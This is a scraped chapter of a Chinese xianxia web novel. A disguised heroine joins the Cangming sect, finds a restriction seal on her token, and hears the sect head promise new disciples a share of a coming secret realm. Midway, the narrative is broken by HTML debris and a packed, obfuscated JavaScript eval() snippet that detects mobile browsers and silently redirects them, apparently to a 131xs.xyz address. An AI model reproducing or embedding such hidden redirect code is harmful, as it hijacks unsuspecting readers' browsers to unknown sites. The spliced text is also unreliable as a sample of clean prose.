素风眼中浮起一抹猜忌,秋露白看得分明,眸光微动,心知不可暴露真实身份,当即后退半步,难以置信地看着面前的黑蚌,颤着声线道:“长……长老,这……怎么会这样?”
她大睁着双眼,望向素风的眼神中满是惶恐,脸上惊疑之色恰到好处,就像一名初出茅庐的散修突然有了意料之外的表现。
素风见她如此失态,眉心轻舒,眼中那抹猜疑淡去不少,很快恢复了那幅世外高人的模样,淡然道:“不必惊慌,你已通过了玄天琉璃蚌的考验,把令牌给吾。”
秋露白小心翼翼地递上令牌,低头站在一旁,未做其他多余动作。
素风接过令牌,却未像先前对其他人那般标记了事,而是拿在手中细细端详,不时向她瞟去一眼。
片刻后,她一字一句将令牌所写内容念出:“白露,金丹初期,散修。”
声音不大,却足以令在场所有人听清,秋露白眉心一动,心中隐隐意识到什么。
素风自顾自念完,看着她的眼睛,刻意顿了顿,这才接道:“资质上佳……即日起,你便入吾门下罢!”
此言一出,四座皆惊,依这素风长老的意思,竟是要将那台上女修收作亲传?
对习惯了独自摸爬滚打的散修来说,加入一个大宗门的好处自不用说,不仅不用再单打独斗,更能获得比往常更多的修行资源,更别提还是作为宗门长老亲传。
一时台下众人神色变幻,羡艳、怀疑、不忿,各色目光向秋露白投来,皆等着她接下这大好的机会。
但台上秋露白脸上却无一丝喜色,她对上素风平淡无波的眼睛,脑内飞速运转。
素风没有完全信任她,方才那句话就是证明。她完全没给她选择的余地,若她真如令牌上表现的那样是一名初入金丹的散修,得此良机,必然会想都不想地接下,若她拒绝,那她的身份以及来此的目的便值得怀疑。
这是光明正大的试探。
秋露白顿了顿,很快整理好思绪,继续用先前唯唯诺诺的声线道:“承……承蒙素风长老厚爱,白露叩谢不尽。”
就此进入苍溟宗内门也并非不可,无非是身处宗门长老眼下,行动不比其他散修自由。只是当前局势复杂,若她留在内门,更多情报搜集方面的工作得压在江乘雪身上了。
台后,素风见她依言应下,微微点了点头,在她令牌上落下一个印记后便让她去殿后。
秋露白拿回令牌,装作受宠若惊的模样向台下环视一圈,目光对上江乘雪时,向他使了个眼色。对方了然,当即提步走上测试台。
这头秋露白下台后,并未按素风所言急着去往招贤殿后,而是放慢脚步,余光注意着身后的动静。
江乘雪的测试比她顺利了不少,没闹出太大动静,仅是令那黑蚌正常张开了口,获得了留在苍溟宗的机会,并未引起素风的注意。
这样便好,待她在内门安顿好后,再想办法与他见面就是。
秋露白放下心来,三步两步走到招贤殿后,将令牌递给了负责接待的门徒。那门徒瞧见令牌上的印记,脸色微变,对她的态度当即恭敬了不少,热情道:“白道友随我来,若有任何不适应之处,随时告诉我。”
在那引路门徒的带领下,秋露白很快进到了苍溟宗内门。苍溟宗不像玉清门那般将内门分为数个山头,而是基于海岛地形,划给了每位长老一块临海地界,交由其自行管理。
素风长老所辖地界恰在苍溟岛最南端,手下门徒不多,平时鲜少有人来此,最为寂静,倒是方便了她接下来的动作。
秋露白在分给她的小院内停下,待那引路门徒离开后,她一手解下腰侧令牌,拿在手中打量。先前在招贤殿内,她便觉着这令牌有些奇怪,只是碍于人多眼杂没能细看,此时这里只她一人,她大可仔细研究。
苍溟宗身份令牌由一枚青玉雕刻而成,通体青碧,触手温润,拿在手中片刻便有微微热意自玉肉中浸润而出,想来是选用了上好的料子,只是……
秋露白指尖摩挲着素风用灵力刻下的那道痕迹,轻笑一声。她所对符箓一道不甚精通,但基本的形制还是能看出一二,这印记呈包合封堵之态,明显不似寻常用于增益法宝效力的增益符,更像是……限制符。
至于限制的是什么……显而易见,苍溟宗并不信任他们这些散修。若苍溟宗想择一物下手,那最好的选择,便是由他们亲自发放,每个参与选拔的散修又都必然会随身携带的令牌了。
秋露白想清其中门道后,在那令牌上施了一道小小的隔离术,她修为在苍溟宗绝大多人之上,除非有意观察,无人会发现这道小小的术法。
做完这些后,秋露白原样挂好令牌,抬头向前方看去。苍溟岛最中心是苍溟宗主殿所在,环绕主殿的是藏经阁等各类功能性建筑,外门门徒及他们这批散修居住地则在更前方,临近那道宗门处。
门内禁止御剑,若她要去找江乘雪,直接从内门横穿至外门太过显眼,正好她方才听那引路门徒提起一事,明日苍溟宗会对他们这些新入宗的散修召开说明大会,还是待会后伺机与江乘雪联络为好。
秋露白暂且按下此事,趁着片刻空闲回了分配给她的房间,闭目开始修行。
*
苍溟宗,宗门主殿内。
殿内仅燃着两三盏昏黄烛火,漆金雕龙的楠木主座上坐着一名身形健硕的男性,全身隐于阴影中,面容看不分明。
殿外传来咚咚脚步声,有一人踏着月色进了这座昏暗大殿,似乎刚从很远的地方匆匆赶来,鹅黄袍角染了地上泥尘。
那人在殿内站定,抬起头,往日总是春风满面的脸此刻凝重非常,正是池沐阳。他望着座上安坐不动的人影,出声道:“父亲,您唤我?”
座上那人并未应他,一手支颐,音色沉沉:“交代你的事可做好了?”
池沐阳轻轻吸了口气,恭敬回道:“是,都探查清楚了,礁山、黑沙二宗近日并无异动,我们先前插进去的人也各在其位,一切都按预想的方向发展。”
“嗯。”座上之人扣了扣指节,话锋一转:“先前派你去内陆接我们的盟友,人带到了吗?”
池沐阳低下头,指节下意识摩挲着衣角,答:“她已经上岛,说时机到了会来相助。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826397|161277||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“也就是说,你也无法掌控她的情况么?”座上那人语气未变,问句出口,座下池沐阳却唰地白了脸色。
“……”
“罢了,我本就没指望过你。”同样的、听过无数次的话语,梦魇般缠绕不放,从小到大,无论他尝试多少次,总是这样。
总是这样的结果。
池沐阳身侧的手一紧,修圆的指甲掐进肉里,颤声道:“父亲,阳……还有一事禀报。”
“若是些没用的废话,就不必在这里说了。”
“我……!”声调猛地提高,池沐阳意识到自己的失态,忙将后半句话吞回肚内,平稳声音道,“我……我在灵舟上结识了另一位大人物,可以为我们计划之用。”
“哦?”
“她现在就在宗内,只要我去说,她会帮我们的。”
“你说的不会是那些散修吧?不过是些用过就丢的耗材,能出什么大人物?”那人嗤笑一声。
“不。”指甲深深陷入肉中,池沐阳抬了头,眸光在昏黄灯火间闪动,第一次对那人作出了否定的回答,“她不是散修。我看得出来,她的身份绝不止表面那样。”
*
第二日,晨,苍溟宗主殿前。
中央石台上站满了新入宗门的散修,放眼望去,约莫有二百之数,此刻皆静静立着,数百双眼睛向上看着宗门主殿的方向。
一盏茶的时间后,金碧辉煌的主殿内缓缓走出一人,玉冠珠饰,一袭白金道袍,边缘处细细绣着金线,日光照耀下,一派流金绚彩。
那人在殿前台阶上站定,清了清嗓子,朗声道:“诸位道友晨安。在下苍溟宗宗主,池敬良。”
他目光向下环视一周,微微颔首作礼,正色道:“诸位道友既入了我苍溟宗,那从今往后便是池某自己人,吃穿用度皆与正式门徒无异,断不会亏待了诸位!”
此言正说到众散修心坎上,一时台上掌声雷动,久久不散。
待掌声弱下去后,池敬良按了按手,接着道:“池某还有一个好消息要告诉诸位,两月之后,南海将有一大机缘现世!池某在此答应诸位,凡我苍溟宗门徒皆可入内探宝,所得灵物五五分成!”
话音落下,台上先是静了一瞬,而后如梦初醒般反应过来,潮水般的欢呼声、夸耀声向主殿处涌去,几乎将池宗主捧成了天上有地上无的活菩萨。
这等大机缘,换作其他宗门向来是藏着掖着,连指缝中一点都不肯漏与散修,从未有过苍溟宗这般做派,与门徒五五分成更是连那些大宗门都做不到。
“还请诸位先行保密。机缘现世前,苍溟宗将为诸位提供修行资源,万望各位抓紧时间提高己身,于秘境中一展风采!”池敬良话中满是真挚,当即便有几个门徒走上石台,为每个散修发放装着修炼资源的乾坤袋。
秋露白也分到了一个,她打开瞧了眼,只见袋中放着一瓶元灵液、几包益气散,另有攻击符、回春丹几数,外加数百块上品灵石,果真是大手笔,足够金丹境修士用上两月。
好处说完了,但……代价呢?秋露白看向台上意气风发的池宗主,眉尾微抬。